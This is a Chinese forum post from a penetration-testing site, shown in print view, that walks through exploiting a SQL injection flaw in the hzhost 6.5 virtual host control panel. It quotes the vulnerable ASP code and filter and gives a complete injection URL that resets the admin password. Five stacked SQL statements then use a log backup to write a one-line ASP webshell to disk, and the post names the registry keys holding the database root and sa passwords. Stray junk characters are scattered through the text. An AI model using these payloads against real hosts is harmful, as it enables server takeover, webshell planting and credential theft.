中国网络渗透测试联盟

标题: 再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞 [打印本页]

作者: admin    时间: 2012-9-5 15:03
标题: 再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
! K# ?4 w0 ^' F% c: s 只讲两个要点。
1 H; t& d$ {3 o& n4 W第一,如何拿网站管理员权限。4 C! T1 W( h/ |
第二,如何备份木马。$ t) ]6 W, d; E) x& }1 f9 o' Y
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。
3 R: @8 O4 f# M' D 我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
4 W1 R2 M  v; K3 yhttP://www.xxbing.com QQ178737315; h$ ~/ B; o, X; w: x! t( E
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
. G( W! V1 t% C' n! U* X------------开放浏览-------------
4 C8 k! Y1 l9 r2 K4 y7 i 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!
; Y7 o) x& v9 G5 F3 G-------------------------13-15行----------------------------
: Z, y, L7 x6 Y% o7 x$ o* l querytype=SafeRequest("querytype")  //saferequest函数接受数据
  \; v# H0 b; M' Z5 k. q) n" F if chk_int(querytype)=false then  //检查是否是整数
% K; \' m1 A* d. L" h" i4 V2 ~    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."2 @/ B  }* u0 b. `* i$ M- p: z
-------------------------37-42行---------------------------& `0 `: D% A; b5 x
elseif querytype=5 then //如果类型为5。就接受qu1数据!
' Z7 o  G: z% n+ ?( G3 Y1 t   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!& A* E, Y) C% W. y5 o
   
9 z9 A+ s# N% A: _! Q9 `% m* n3 \    if  qu1="" then  //不能为空  {, |, y# t/ ^
         call errorpage(-2,"对不起,请选择参数!")
8 X' y: N% v: L   end if         - e+ P  y$ o2 u5 r
      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!
; A/ i0 ?: R2 U, o -------------------------62-65行---------------------------0 e6 R2 G0 k0 T; h% b. k8 Y
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
- z/ t+ ]: O: r/ E( y4 A2 H0 Y if qu7<>"" then  t- C7 |. s$ ]8 a/ k$ u
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
+ D' Z, j' M0 o) q1 x% I! ]7 D# t end if - f$ y5 ?: ~/ k" h4 @; D* o
--------------------------117行-----------------------------
$ ~! Z# t' |: O* ?  x3 p9 Q query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
% I- b' {, U  V7 R  c5 i4 G //到这里就丢进去查询了!
$ O/ G+ b* C5 Q- x- P9 n3 J
7 Q, {5 z" i" p$ U8 x 来看看saferequest()函数。
4 H- R6 |. e! E' v------------------incs/config.asp中-------------------------, b2 C* l" k! h
Function SafeRequest(ParaName)
5 s( l/ o% H- I. K4 m) Z6 G$ R Dim ParaValue
, s  V9 P! c, Q! _' v: r7 s% | ParaValue=Request(ParaName)  //获取数据  ~( l$ A* M$ M! E! S. c( N
if IsNumeric(ParaValue)  then  //如果是数字
  R( S+ c3 s# X( d7 Q SafeRequest=ParaValue  //那就不过滤,直接赋值
  W. ^# Q3 R! `: C exit Function+ u, j8 b, p, X1 U- m
; a( m* S' \! `9 g* W% h4 l
else
+ E+ y; j. K% l, ?6 t" ` ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写1 G3 J, ~/ V/ b4 Z
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
: r. ~3 @( H) w% B0 t! q# D4 P //定义要过滤的字符!$ ^# v+ z! z+ B% ]- K; X" _
4 i6 N% |+ K7 K2 [3 P; m, R9 c* i
他过滤方式有问题。。。没有过滤 * / % / -- / ;
; H/ t7 K. s8 N1 E 而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
: l. c3 K) V( Z7 V
: a) g. D4 c  ~+ M- a* X5 j temps=split(tempvalue,"|")           //转为一维数组
" W; X8 }* n9 E, v for mycount=0 to ubound(temps)       //循环读数组内数据
5 t6 e" S( ?% {; G if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。% \: o- ]  U/ q  y# [! Y6 _
                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!+ A0 u/ n! k( J5 e$ D# s
                 response.end, u. ]# v( ^5 O' H
end if% e7 O# x% i& v6 q. H/ ~
next
* P& @1 o$ u6 b7 h! @ SafeRequest=ParaValue
; k6 ]) q3 o; D0 @ end if8 q, @4 |( y$ ]$ d9 j" G! g
End function7 `; s, I. }: h  ]  l
-------------------------------------- w. O3 X/ H* J0 q% A6 O0 ]+ l

  O& p5 ^  b/ k! _1 X5 B- g/ | 所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。. j2 u, ?/ V+ F1 h5 ~0 M2 I
先给出查询语句的框架。
; S4 E/ f. n5 L- g, }& J' r; d. ~select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc0 S/ \$ i* [2 d# U" ?5 ?. K6 |% c

9 Q8 r9 x8 x6 x' m 为了使语句顺利执行:/ D. R; ~% P- g1 E9 U+ X
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。1 G  d2 @8 E, J: K, U! Y+ J
这里我给出条示范语句,即{我们的语句}) R: Q. P; b6 X
UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E, L3 x, }1 W2 x* o' V
7 ], z9 |2 U0 t3 M2 ]) N( z: X
这条语句能够绕过saferequest函数的检测。没有出现单引号。* D( o, z( |' S+ Q
我们提交:
$ R" v8 ~4 R' s5 i! Vhttp://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
8 Q0 `/ h& J9 K  x. ?6 t, Z4 T& n+ H7 Z
  [$ [8 F, e$ }: e 这句话就能够将admin的密码修改成1234566 D+ k. \1 ]( F  }
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。* S! l5 h' d: ^$ s6 @0 w" l
第二步是要备份挂马。
4 f% B2 k8 P% w: D0 _; { 大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(
( P6 b; `+ ]! E* T: `  j 导致备马的这条语句失败。
4 N) ?! Y9 P, ]1 R+ @declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。
- ]7 V7 s4 x1 t6 C( c6 z: j9 O! u* e
& r! G2 d' ]# M1 X0 F( [% R 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。% ^: |3 o( u0 T- {
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(- {* t" W1 t( n. U! E. I& l$ i
接下来放出详细语句。大家放入{我们的语句中}
4 h8 d, `- n! q第 一 步:8 M  }) V2 ~' B; r
create table [dbo].[shit_tmp] ([cmd] [image])--) ]. v0 K# g1 `+ }& J: g8 c) s2 G
第 二 步
1 r0 T6 U/ G  |4 \' T declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
* P9 ^. _, B) L- D* J 第 三 步8 x$ r4 |/ f' |$ k( S
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
; L1 {1 Z7 M+ `8 d 第 四 步' V( s2 T3 t  \; y
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--, l4 {4 ^2 G2 h" A0 ^
第 五 步
' [6 ^- X) ^3 w) ^3 m Drop table [shit_tmp]--
3 g6 r! V1 m. i# r7 |7 i, s" e( @! z6 t/ Z; e- s
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。$ O* t. O6 h' b1 b$ p; E7 D
一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
& o! ^$ v- z8 O5 P' b9 I 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》, _2 Z) ^8 ?# `) X8 ]

. V6 z. e: Y2 ^0 f3 Y( k& \5 Y最后是答疑部分:
. J" k# T! P) w3 X/ ]) B  z  g% w 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
+ L, N$ B! l$ C. o( c3 ]& z  A5 f5 p' ^* e) t- q
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
' U  @2 W, A! J5 P 这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:: r- K0 H, J  M
0x6531306164633339343962613539616262653536653035376632306638383365
5 b1 H$ W- T2 O! c 大家仔细观察,会发现,其实只是去掉了一些00。。0 N# i! \8 y: j$ g3 f- G0 D/ ^2 l
所以大家在转换其他md5的时候,注意此问题。
  {5 e% Y, u/ h
; q/ H7 C; o4 X8 e* M 3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。6 d5 V# q; A8 _1 p. E# `. t6 P
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
! w3 m6 E, O: E9 }! a' O+ a! L+ ~4 T6 [4 Y: S$ `
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。
  a9 H8 ?1 h( u& p$ h, R 有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
; Y( m* t# O! r$ p% S- u- m
0 S2 _  @( C' }; i, B- k 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
/ o1 j; p) `. k0 d1 g1 q6 ~& v
6 C; D. H1 e6 c) `$ f 6::
$ q9 x' M9 |9 B  t  isa密码。root密码。
7 p$ i# d( D& }- h; a HKEY_LOCAL_MACHINE\software\hzhost\config\settings\, S7 D+ W; `4 m' {
mysqlpass---root密码8 S/ z6 L; v/ ^
mssqlpss----sa密码
8 ~5 p* B5 \. Q+ B/ \- h, C, L& w# M' ?8 D2 L& q

0 \, P) Z* G' ]1 V* x 7.如果路径不在D:/hzhost3 h  w! Z; s1 o0 Y2 {, X! i
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。
5 |( s. Q! i' H2 {) O 或者去读注册表。
, x. E2 ~6 ?8 ^ HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下7 ^  m7 R' u4 ^
"wwwrootpath"="e:\\wwwroot"
4 X2 r! q* Q: {: \/ w: r; l; ^5 l "urlsiteroot"="D:\\hzhost\\hzhost_url"
3 z$ B+ N- E9 `5 L "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
  a; z; x7 G$ _5 i: S8 w 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!9 |4 b' c. k5 w* o7 w: l8 s
* i* H7 I& x2 H5 A0 g, n
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
; p+ b6 |/ ], E! w5 H  Yhzhost最新漏洞.rar
/ D. o! M% `% J6 i3 V* ^ 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!* h( a2 z3 e2 `: e% C* b7 Y

$ Z# ~0 Q4 R) `+ L8 N4 u) c: _: _" Q 最后,还是版权。
$ E( G/ I  N( R4 S/ \" F# Ehttp://www.xxbing.com QQ1787373156 S0 c7 B) t5 N3 j! i1 E1 A0 U
允许自由转载。但请注明作者。




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2